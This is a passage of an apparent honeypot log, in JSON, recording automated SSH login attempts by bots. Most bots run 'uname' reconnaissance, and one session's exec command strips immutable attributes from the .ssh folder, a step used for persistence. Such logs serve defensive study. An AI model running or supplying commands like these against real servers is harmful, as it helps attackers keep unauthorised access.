  "src_ip": "118.194.228.101",
  "src_port": 42654,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:38.149028+00:00",
  "ended_at": "2026-08-27T01:56:39.174009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56cfaf7d-915c-4df2-b0d4-394ed5601021",
  "name": "plucky-fearless-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:30.813417+00:00",
  "ended_at": "2026-08-27T01:56:35.374470+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e4c55c0-1a0f-4360-9a7a-23adccc93ce2",
  "name": "lawful-glassy-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47132,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:20.100606+00:00",
  "ended_at": "2026-08-27T01:56:24.371855+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd1e41cd-b774-42fb-a766-6d10982a7878",
  "name": "sunlit-pristine-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:17.126799+00:00",
  "ended_at": "2026-08-27T01:56:22.960491+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41070cdc-50e9-4f5e-bced-855738d3a73e",
  "name": "serene-jaunty-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53172,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:11.078147+00:00",
  "ended_at": "2026-08-27T01:56:13.390306+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33f14580-a444-4a1c-a9eb-fff15cbdf9c0",
  "name": "pewter-polar-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52530,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:07.925056+00:00",
  "ended_at": "2026-08-27T01:56:12.238525+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7c3e575b-3fa5-4975-bdfb-0f515c6211ce",
  "name": "knotted-craggy-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53126,
  "username": "rock",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:05.370117+00:00",
  "ended_at": "2026-08-27T01:56:08.375711+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2db4f496-0551-4ac8-a07c-f2bea6d6ac3e",
  "name": "merry-lawful-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51602,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:04.899381+00:00",
  "ended_at": "2026-08-27T01:56:13.389134+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "e2d1b6c6-d516-4660-8f50-c2e17bbe921a",
  "name": "amber-wry-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51542,
  "username": "rock",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:00.188193+00:00",
  "ended_at": "2026-08-27T01:56:08.377052+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "3155e34c-dcc6-4365-9702-2e1816bad2dc",
  "name": "cheerful-opal-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:59.550641+00:00",
  "ended_at": "2026-08-27T01:56:02.358900+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3d071ba4-8f1e-4c47-a417-5d740ee83309",
  "name": "hushed-woven-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43766,
  "username": "kelly",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:55:58.730131+00:00",
  "ended_at": "2026-08-27T01:56:01.584923+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4258c09-5862-432b-bb04-795857e9491a",
  "name": "arctic-airy-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46460,
  "username": "kelly",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:51.684963+00:00",
  "ended_at": "2026-08-27T01:56:01.583693+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "d72c62fb-e696-4927-b9d4-2418a5b37985",
  "name": "jagged-canny-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 49866,
  "username": "vpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:55:37.230802+00:00",
  "ended_at": "2026-08-27T01:55:39.352657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c243e9d-47bc-4dd2-8889-72fb6ecc2b04",
  "name": "curious-vernal-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:36.074611+00:00",
  "ended_at": "2026-08-27T01:55:39.823611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a7b70bb8-980c-421f-bd87-6018323de185",
  "name": "windswept-inland-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57258,
  "username": "vpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:34.157084+00:00",
  "ended_at": "2026-08-27T01:55:39.353808+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "54c12cae-eabf-4333-aeea-ed574492475c",
  "name": "weathered-sunlit-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 465,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:19.294950+00:00",
  "ended_at": "2026-08-27T01:55:22.556210+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6f9c56a3-fb37-4fd9-bb82-29ccde63ca81",
  "name": "honest-bashful-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50444,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:05.200121+00:00",
  "ended_at": "2026-08-27T01:55:10.400003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "69c3c0c7-9992-47fe-bc33-bf0c6de221dc",
  "name": "emerald-sullen-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58248,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 374,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:51.713888+00:00",
  "ended_at": "2026-08-27T01:54:56.500761+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18e3bc8e-41f2-4c21-98d2-fcea1ff70e2f",
  "name": "fringed-mindful-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35142,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 504,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:45.119758+00:00",
  "ended_at": "2026-08-27T01:54:51.093198+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "17728af3-0823-446d-8291-267e7b94acda",
  "name": "hardy-drifting-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57194,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:54:35.853810+00:00",
  "ended_at": "2026-08-27T01:54:38.185695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ef28b1c-680b-459f-b487-17e29fb91cab",
  "name": "primal-wiry-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35080,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 453,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:33.557071+00:00",
  "ended_at": "2026-08-27T01:54:38.184355+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "55527ea5-40d2-4cc1-899b-4495bcd3597d",
  "name": "dapper-lively-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:26.960698+00:00",
  "ended_at": "2026-08-27T01:54:28.892268+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a645503a-1060-4c5c-8d73-1ee79d3057ec",
  "name": "clever-fearless-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38470,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 501,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:20.813906+00:00",
  "ended_at": "2026-08-27T01:54:22.067333+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "57c22fa9-13dd-4b21-be1c-3c5cc593bb68",
  "name": "chilly-sandy-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54448,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 597,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:15.645053+00:00",
  "ended_at": "2026-08-27T01:54:16.890112+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5295dd23-9435-41c3-bd15-dceede09316b",
  "name": "primal-slender-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58226,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:54:15.605207+00:00",
  "ended_at": "2026-08-27T01:54:18.918876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fffb82c1-5a07-4b12-82fb-90467d3a758d",
  "name": "woven-austere-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58210,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:54:15.054102+00:00",
  "ended_at": "2026-08-27T01:54:18.329118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b80fa1e-27cd-4ff2-a53e-7b5811eab874",
  "name": "genial-obsidian-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47054,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 894,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:12.666689+00:00",
  "ended_at": "2026-08-27T01:54:18.917533+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "476f4ccb-8943-4257-b126-04e7dfe9a01e",
  "name": "coral-autumn-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47118,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 743,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:12.466362+00:00",
  "ended_at": "2026-08-27T01:54:18.327870+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "f7db524f-a4af-4ef6-9fe8-7e31891cff64",
  "name": "quartz-tangled-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 38570,
  "username": "teste",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:54:03.862828+00:00",
  "ended_at": "2026-08-27T01:54:06.797053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "356a6a67-8c68-4bfa-b5fa-41461eb0b655",
  "name": "gleaming-gloomy-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1142,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:02.108771+00:00",
  "ended_at": "2026-08-27T01:54:03.429509+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3bcd7571-61e9-4374-a351-478b63b31998",
  "name": "placid-canny-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45218,
  "username": "teste",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1390,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:00.461319+00:00",
  "ended_at": "2026-08-27T01:54:06.798156+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "c2e72c45-346a-4967-8eb9-bce2ae647eb4",
  "name": "subtle-shaded-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1054,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:57.369761+00:00",
  "ended_at": "2026-08-27T01:53:59.410491+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "84237e7a-d82e-4816-8272-9e1dabfb41a2",
  "name": "arctic-noble-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 38488,
  "username": "wso2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:56.581448+00:00",
  "ended_at": "2026-08-27T01:54:01.208340+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ca990be-7d7e-4807-92bf-ea8d1e1d4225",
  "name": "noble-feral-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41354,
  "username": "wso2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:52.453185+00:00",
  "ended_at": "2026-08-27T01:54:01.209474+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "3df4f059-c34b-4115-a3aa-bcd9be781bf6",
  "name": "prairie-icy-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34544,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:53:49.922814+00:00",
  "ended_at": "2026-08-27T01:53:51.302086+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "d6dc7eaf-8724-400b-93b7-2dff3b4ed7ca",
  "name": "vernal-primal-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 54378,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:46.463456+00:00",
  "ended_at": "2026-08-27T01:53:51.715037+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10b6db56-22f2-4e0f-96a1-b99c88e431b8",
  "name": "pewter-dutiful-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47102,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:41.424708+00:00",
  "ended_at": "2026-08-27T01:53:49.443781+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b67d5c11-c52b-4481-b0fd-76037ac617a6",
  "name": "silent-blithe-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58022,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1409,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:40.997371+00:00",
  "ended_at": "2026-08-27T01:53:51.713678+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "4c0f53bb-4134-4460-8abe-00a74c9ae902",
  "name": "tawny-grumpy-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57974,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1929,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:36.353862+00:00",
  "ended_at": "2026-08-27T01:53:49.445529+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "5a5ed91d-b638-4502-86db-0920c27f565b",
  "name": "dewy-idle-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 42828,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:32.188377+00:00",
  "ended_at": "2026-08-27T01:53:37.505168+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a3106420-1547-4953-b012-71c18236bf9c",
  "name": "dapper-mossy-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36492,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:30.721810+00:00",
  "ended_at": "2026-08-27T01:53:31.469011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc10381c-5207-4ad2-9a24-298c180112d3",
  "name": "pewter-twilight-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36484,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:27.841775+00:00",
  "ended_at": "2026-08-27T01:53:28.853005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0b5da72-5b94-45ec-a902-0dbf972842dc",
  "name": "salty-rustic-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47836,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1633,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:25.943195+00:00",
  "ended_at": "2026-08-27T01:53:37.506689+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "5aa2517f-77f8-4f6b-8c2c-a69d4084e5e8",
  "name": "frosty-mighty-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 45306,
  "username": "christianna",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:25.061524+00:00",
  "ended_at": "2026-08-27T01:53:33.567093+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "db95dbab-8dd3-4555-b286-3d05ec5d5651",
  "name": "marine-pleasant-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36122,
  "username": "christianna",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1895,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:20.024291+00:00",
  "ended_at": "2026-08-27T01:53:33.565392+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1664
 },
 {
  "id": "3d01356d-b4a9-49a3-88f2-930ea672407c",
  "name": "sleepy-rugged-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41398,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:16.998138+00:00",
  "ended_at": "2026-08-27T01:53:26.371321+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8966c4b0-7525-4b60-8bb4-1ed7bfd27cc7",
  "name": "lonesome-thawing-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36074,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 2018,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:11.403142+00:00",
  "ended_at": "2026-08-27T01:53:26.372294+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "ab3b027c-8a54-40a8-b528-c20c32a87691",
  "name": "blunt-frank-agouti",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41346,
  "username": "uploader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:11.115132+00:00",
  "ended_at": "2026-08-27T01:53:20.983443+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7fea3f9-ef47-4af0-95c2-d8949b81ce66",
  "name": "gloomy-blithe-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33836,
  "username": "uploader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 2072,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:05.984308+00:00",
  "ended_at": "2026-08-27T01:53:20.982000+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "1b650c3c-81cf-48b1-ae8f-e1d1b458c2de",
  "name": "lively-lanky-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:04.990629+00:00",
  "ended_at": "2026-08-27T01:53:17.304756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc4d1fdb-55f3-45dc-9a61-6b169720d687",
  "name": "shifting-curious-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 2361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
